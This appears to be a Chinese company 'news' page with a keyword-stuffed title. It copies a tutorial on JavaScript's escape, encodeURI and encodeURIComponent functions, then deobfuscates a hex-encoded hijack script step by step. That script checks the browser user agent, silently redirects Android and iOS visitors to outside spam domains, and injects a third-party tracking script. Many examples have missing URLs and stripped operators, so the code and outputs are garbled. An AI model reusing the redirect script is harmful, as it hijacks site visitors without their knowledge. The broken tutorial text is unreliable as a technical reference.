RELATEED CONSULTING
相关咨询
选择下列产品马上在线沟通
服务时间:8:30-17:00
你可能遇到了下面的问题
关闭右侧工具栏

新闻中心

这里有您想知道的互联网营销解决方案
解码javascript,解码国家安全智慧树答案2022

对于JS 中编码(encode)和解码(decode)的三种方法

JS对文字进行编码涉及3个函数:escape,encodeURI,encodeURIComponent,相应3个解码函数:unescape,decodeURI,decodeURIComponent

网站建设哪家好,找成都创新互联公司!专注于网页设计、网站建设、微信开发、微信小程序定制开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了沂源免费建站欢迎大家使用!

下面简单介绍一下它们的区别

1 escape()函数

定义和用法 

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

语法 

escape(string)

参数  描述 

string  必需。要被转义或编码的字符串。

返回值 

已编码的 string 的副本。其中某些字符被替换成了十六进制的转义序列。

说明 

该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。其他所有的字符都会被转义序列替换。

2 encodeURI()函数 

定义和用法 

encodeURI() 函数可把字符串作为 URI 进行编码。

语法 

encodeURI(URIstring)

参数  描述 

URIstring  必需。一个字符串,含有 URI 或其他要编码的文本。

返回值 

URIstring 的副本,其中的某些字符将被十六进制的转义序列进行替换。

说明 

该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。

该方法的目的是对 URI 进行完整的编码,因此对以下在 URI 中具有特殊含义的 ASCII 标点符号,encodeURI() 函数是不会进行转义的:;/?:@=+$,#

3 encodeURIComponent() 函数

定义和用法 

encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。

语法 

encodeURIComponent(URIstring)

参数  描述 

URIstring  必需。一个字符串,含有 URI 组件或其他要编码的文本。

返回值 

URIstring 的副本,其中的某些字符将被十六进制的转义序列进行替换。

说明 

该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。

其他字符(比如 :;/?:@=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。

提示和注释 

提示:请注意 encodeURIComponent() 函数 与 encodeURI() 函数的区别之处,前者假定它的参数是 URI 的一部分(比如协议、主机名、路径或查询字符串)。因此 encodeURIComponent() 函数将转义用于分隔 URI 各个部分的标点符号。

4 总结:

通过对三个函数的分析,我们可以知道:escape()除了 ASCII 字母、数字和特定的符号外,对传进来的字符串全部进行转义编码,因此如果想对URL编码,最好不要使用此方法。而encodeURI() 用于编码整个URI,因为URI中的合法字符都不会被编码转换。encodeURIComponent方法在编码单个URIComponent(指请求参数)应当是最常用的,它可以讲参数中的中文、特殊字符进行转义,而不会影响整个URL。

1、   传递参数时需要使用encodeURIComponent,这样组合的url才不会被#等特殊字符截断。 

例如:document.write(' 退出

2、   进行url跳转时可以整体使用encodeURI

例如:Location.href=encodeURI("百度ct=21");

3、   js使用数据时可以使用escape

例如:搜藏中history纪录。

4、   escape对0-255以外的unicode值进行编码时输出%u****格式,其它情况下escape,encodeURI,encodeURIComponent编码结果相同。

最多使用的应为encodeURIComponent,它是将中文、韩文等特殊字符转换成utf-8格式的url编码,所以如果给后台传递参数需要使用encodeURIComponent时需要后台解码对utf-8支持(form中的编码方式和当前页面编码方式相同)

escape不编码字符有69个:*,+,-,.,/,@,_,0-9,a-z,A-Z

encodeURI不编码字符有82个:!,#,$,,',(,),*,+,,,-,.,/,:,;,=,?,@,_,~,0-9,a-z,A-Z

encodeURIComponent不编码字符有71个:!, ',(,),*,-,.,_,~,0-9,a-z,A-Z

示例(摘自 W3School):

1 escape()

document.write(escape("Visit W3School!") + "

")

document.write(escape("?!=()#%"))

输出结果:

Visit%20W3School%21

%3F%21%3D%28%29%23%25%26

2 encodeURI()

document.write(encodeURI("")+ "

")

document.write(encodeURI(" first/")+ "

")

document.write(encodeURI(",/?:@=+$#"))

输出结果:

,/?:@=+$#

对整个URL进行编码,而URL的特定标识符不会被转码。

3  encodeURIComponent()

例1:

document.write(encodeURIComponent(""))

document.write("

")

document.write(encodeURIComponent(" 1/"))

document.write("

")

document.write(encodeURIComponent(",/?:@=+$#"))

输出结果:

http%3A%2F%2F

http%3A%2F%2F

%2C%2F%3F%3A%40%26%3D%2B%24%23

对URL中的参数进行编码,因为参数也是一个URL,如果不编码会影响整个URL的跳转。

前端js的三种解码方式

** 只有 0-9[a-Z] $ - _ . + ! * ' ( ) , 以及某些保留字,才能不经过编码直接用于 URL。

***例如:搜索的中文关键字,复制网址之后再粘贴就会发现该URL已经被转码。

1) escape 和 unescape

原理:对除ASCII字母、数字、标点符号 @ * _ + - . / 以外的其他字符进行编码。

编码:

eg:escape(';order= 你好')

res:"http%3A//"

解码:

eg:unescape("http%3A//")

res:" ;order= 你好"

2) encodeURI 和 decodeURI

原理:返回编码为有效的统一资源标识符 (URI) 的字符串,不会被编码的字符:! @ # $ * ( ) = : / ; ? + '

encodeURI()是Javascript中真正用来对URL编码的函数。

编码:

eg:encodeURI(';order= 你好')

  res:" ;order=%E4%BD%A0%E5%A5%BD "

解码:

eg:decodeURI(" ;order=%E4%BD%A0%E5%A5%BD ")

  res:" ;order= 你好"

3) encodeURIComponent 和 decodeURIComponent

原理:对URL的组成部分进行个别编码,而不用于对整个URL进行编码

编码:

eg:encodeURIComponent(';order=1')

res:"http%3A%2F% 2F "

解码:

eg:decodeURIComponent("http%3A%2F% 2F ")

res:" ;order=1 "

JavaScript解密

第一步解码:

var _$ = ["\x77\x66", "\x3f", "\x26\x74\x3d\x7a\x72", '\x54\x72\x69\x64\x65\x6e\x74', '\x50\x72\x65\x73\x74\x6f', '\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74', '\x47\x65\x63\x6b\x6f', '\x4b\x48\x54\x4d\x4c', '\x41\x6e\x64\x72\x6f\x69\x64', '\x4c\x69\x6e\x75\x78', '\x69\x50\x68\x6f\x6e\x65', '\x69\x50\x61\x64', '\x53\x61\x66\x61\x72\x69', "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f", '\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f', '\x26\x74\x69\x64\x3d\x31\x35', "\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];

var a = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src = a["\x73\x70\x6c\x69\x74"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],

d = navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];

return {

trident: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])  -0x1,

presto: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])  -0x1,

webKit: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])  -0x1,

gecko: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])  -0x1  c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7]) == -0x1,

mobile: !!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),

ios: !!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])  -0x1 || c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])  -0x1,

iPhone: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])  -0x1,

iPad: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])  -0x1,

webApp: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12]) == -0x1

}

} (),

language: (navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"] || navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()

};

if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"] != false) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[13] + src

} else if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"] != false)) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[14] + src + _$[15]

};

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);

第二步解码:

var _$ = ["wf", "?", "t=zr", 'Trident', 'presto', 'AppleWebkit', 'Gecko', 'kHTML', 'Android', 'Linux', 'iphone', 'ipad', 'Safari', 'tid=15', "script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script"

];

var a = window["document"]["getElementById"](_$[0])["src"];src = a["split"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["userAgent"],

d = navigator["appVersion"];

return {

trident: c["indexOf"](_$[3])  -0x1,

presto: c["indexOf"](_$[4])  -0x1,

webKit: c["indexOf"](_$[5])  -0x1,

gecko: c["indexOf"](_$[6])  -0x1  c["indexOf"](_$[7]) == -0x1,

mobile: !!c["match"](/AppleWebKit.*Mobile.*/),

ios: !!c["match"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["indexOf"](_$[8])  -0x1 || c["indexOf"](_$[9])  -0x1,

iPhone: c["indexOf"](_$[10])  -0x1,

iPad: c["indexOf"](_$[11])  -0x1,

webApp: c["indexOf"](_$[12]) == -0x1

}

} (),

language: (navigator["browserLanguage"] || navigator["language"])["toLower\x43ase"]()

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

window["location"]["href"] = _$[13] + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

window["location"]["href"] = _$[14] + src + _$[15]

};

window["document"]["writeln"](_$[16]);

第三步解码

var a = document.getElementById('wf').src;

src = a.split('?')[1] + 't=zr';

var b = {

versions: function() {

var c = navigator.userAgent,

d = navigator.appVersion;

return {

trident: c.indexOf('Trident')  -1,

presto: c.indexOf( 'presto')  -1,

webKit: c.indexOf('AppleWebkit')  -1,

gecko: c.indexOf('Gecko')  -1  c.indexOf('kHTML') == -1,

mobile: !!c.match.(/AppleWebKit.*Mobile.*/),

ios: !!c.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c.indexOf('Android')  -1 || c.indexOf('Linux')  -1,

iPhone: c.indexOf('iphone')  -1,

iPad: c.indexOf('ipad')  -1,

webApp: c.indexOf('Safari') == -1

}

} (),

language: (navigator.browserLanguage || navigator.language).toLowerCase();

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

location.href =  '?' + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

location.href  =  '?' + src + 'tid=15'

};

document.writeln('script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script');

js常见编码解码

将每一个字节表示的十六进制表示的内容,用字符串来显示。

UTF(UCS Transformation Format)规范,常见的UTF规范包括UTF-8、UTF-7、UTF-16

使用2个字节表示已经有码点的字符。UCS-2只是一个编码方案,UTF-16却要用于实际的传输

UCS-4就是用4个字节(实际上只用了31位,最高位必须为0)编码

js使用的编码

中日韩统一表意文字

每个汉字由两个字节构成

是针对繁体汉字的汉字编码,台湾地区常用,共收录13,060个汉字

该函数能解码由创建或其它流程得到的统一资源标识符(URI)。

方法用于解码由方法或者其它类似方法编码的部分统一资源标识符(URI)。

escape生成新的由十六进制转义序列替换的字符串

计算生成一个新的字符串,其中的十六进制转义序列将被其表示的字符替换。


当前名称:解码javascript,解码国家安全智慧树答案2022
网页路径:http://sczitong.cn/article/dsegppi.html